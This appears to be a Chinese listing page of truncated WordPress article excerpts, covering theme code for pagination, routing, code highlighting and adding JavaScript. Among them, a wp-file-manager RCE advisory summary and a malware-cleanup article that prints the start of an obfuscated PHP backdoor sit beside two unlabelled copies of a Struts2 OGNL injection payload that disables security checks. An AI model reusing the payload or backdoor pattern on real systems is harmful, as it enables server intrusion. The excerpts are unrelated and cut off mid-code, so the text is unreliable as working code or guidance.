0x01 漏洞概述WordPress是一套使用PHP语言开发的博客平台，该平台支持在PHP和MySQL的服务器上架设个人博客网站。而WordPress的插件（wp-file-manager）6.9版本之前存在安全漏洞，该漏洞允许远程攻击者上传和执行任意PHP代码。攻击者可利用该漏洞执行任意代码。 0x02 影响版本WordPress 文件管理器（wp-file-manager）插件 6.0-6.8 版本 0x03 环境搭建phpstudy2018WordPress https://wordpress.org/download/wp-file-manager 6.0版本...
wordpress代码实现分类目录末尾加斜杠/ ，最近看到许多同学使用wordpress时候有很多问题，比如就添加斜杠来说；很多博客都使用了插件形式，我们知道插件形式会拖慢速度，第二因素：别人编辑的插件长久时间不更新，导致更PHP开源程序不融洽。那么为了用代码实现小慕给大家贴出了以下代码，直接复制到主题的functions.php文件下即可。 1 <?php2//wordpress目录自动增加斜杠 3if (is_admin()) return;4$permalink_structure = get_opt...
1. 在 Wordpress主题中显示最热文章的 PHP代码<?php $result = $wpdb->get_results("SELECT comment_count,ID,post_title FROM $wpdb->posts ORDER BY comment_count DESC LIMIT 0 , 10"); foreach ($result as $post) { setup_postdata($post); $postid = $post->ID; $title = $post->post_title; $commentcount = $post->comment_count; if ($commentcount != 0) { ?> <li><a href="<?php echo get_permalink($postid); ?>" titl...
经过两天的正则表达式的学习，和研究wordpress的路由函数，成功实现了自定义wordpress路由功能，以下是路由规则的实现。如果有自定义的url参数，要通过路由传递，必须通过wordpress的函数将参数添加进去：复制代码 代码如下://add query_argsfunction add_query_vars($aVars) { $aVars[] = ‘score‘; $aVars[] = ‘type‘; // represents the name of the product category as shown in the URL return $aVars;}add_filt...
效果:将下面的函数放到你的主题的 functions.php 文件中:复制代码 代码如下:function theme_echo_pagenavi(){ global $request, $posts_per_page, $wpdb, $paged; $maxButtonCount = 9; //显示的最多链接数目 if (!is_single()) { if(!is_category()) { preg_match(‘#FROM\s(.*)\sORDER BY#siU‘, $request, $matches); } else { preg_match(‘#FROM\s(.*)\sGROUP BY#siU‘, $request, $matches); } $fromwhere = $matches[1]; $n...
使用 Dreamweaver 这样的可视化的 IDE 工具进行编程的最大的一个好处是它的代码提示功能，只要输入几个字符，IDE 工具就会智能的给出一系列可选的函数或者变量让你输入。 代码提示功能的好处是非常明显的，比如你对某个函数记不清楚，就可以通过代码提示功能快速输入，而不用去搜索和查资料，即使非常清楚，也可以通过代码提示功能快速输入而无需输入每个字符，这样的对编程效率提高是非常明显的。 Dreamweaver CS5 支持 WordPr...
最近突然发现博客的评论楼层有点问题，之前一直设置的是“在每个页面顶部显示新的评论”，也就是所谓的倒序显示评论，但是主题只支持顺序的评论楼层好，于是楼层和楼层号之间对不上。搜了一下在zww.me发现有实现的代码，但是放到博客之后无法正常工作，比如限制分页显示为25条的时候，文章只有一条评论时也显示的25楼。折腾了一下搞定了，做个记录，也供大家参考。 在主题文件 functions.php中找到$GLOBALS[comment] = $comment;在...
这篇文章主要介绍了关于wordpress使用markdown时采用prism进行代码高亮 ，有着一定的参考价值，现在分享给大家，有需要的朋友可以参考一下背景：最近将博客的文章编辑器切换为markdown了，但是发现wordpress主题自带的css无法实现代码高亮，作为强迫症看着非常不舒服，遂想尽方法实现在markdown中实现代码高亮。1.使用markdown编辑器首先，你需要将wordpress自带的文章编辑器切换为markdown，这里需要安装markdown插件，几经对比，...
本文主要介绍了PHP实现清除wordpress里恶意代码的方法以及相关代码和使用方法，有需要的小伙伴可以参考下。希望对大家有所帮助。公司一些wordpress网站由于下载的插件存在恶意代码，导致整个服务器所有网站PHP文件都存在恶意代码，就写了个简单的脚本清除。恶意代码示例<?php if (!isset($GLOBALS["\x61\156\x75\156\x61"])) {$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);if ((...
效果:将下面的函数放到你的主题的 functions.php 文件中: 代码如下:function theme_echo_pagenavi(){ global $request, $posts_per_page, $wpdb, $paged; $maxButtonCount = 9; //显示的最多链接数目 if (!is_single()) { if(!is_category()) { preg_match(#FROM\s(.*)\sORDER BY#siU, $request, $matches); } else { preg_match(#FROM\s(.*)\sGROUP BY#siU, $request, $matches); } $fromwhere = $matches[1]; $numposts = $wpdb-...
这篇文章给大家介绍的内容是关于WordPress网站添加Javascript代码的方法，有着一定的参考价值，有需要的朋友可以参考一下。如果是修改自己制作的模板主题，升级和更新自己掌控，javascript代码的添加比较自由，可根据实际业务逻辑引入即可。但是如果想添加与主题无关的javascript代码，例如访客统计，性能监控等类型的独立代码，由于与主题文件没有关系，那么最好的办法就是在插件中添加代码。WordPress提供了函数 wp_enqueue_scri...
‘+(#context[”xwork.MethodAccessor.denyMethodExecution”]=new java.lang.Boolean(false),#_memberAccess[”allowStaticMethodAccess”]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-‘,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.ge...
‘+(#context[”xwork.MethodAccessor.denyMethodExecution”]=new java.lang.Boolean(false),#_memberAccess[”allowStaticMethodAccess”]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-‘,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.ge...
flush_rewrite_rules() 函数用来删除然后根据现有的条件重写伪静态规则，也就是刷新一次伪静态规则了。先来说一下，通常在主题或者插件添加新的自定义文章类型的时候调用，防止新的自定义文章类型的文章出现 404 的情况，或者很多时候我们都需要在主题启用的时候执行一些代码，比如布置一些数据库表单、跳转到设置页面等等，WordPress 本身并没有提供相关的钩子，网上也有很多五花八门的实现方法，经过我的研究，发现了可能是最优的...
很多人看不上wordpress的编辑器，因为可用功能实在是少的可怜。由于经常要文章中插入各种代码，在之前一直使用的编辑器增强插件“CK and SyntaxHighlighter“这个编辑器很强大，但是后来发现显示的代码高亮与笔者用的模板严重不符。由于笔者的博客做了防复制，导致页面代码又不能复制，需要一款插件实现代码高亮并且支持复制！后来经过百度一下又继续谷歌两下下。嘿嘿~终于发现了一款令满意的代码高亮插件而且还可以。找到插件了，...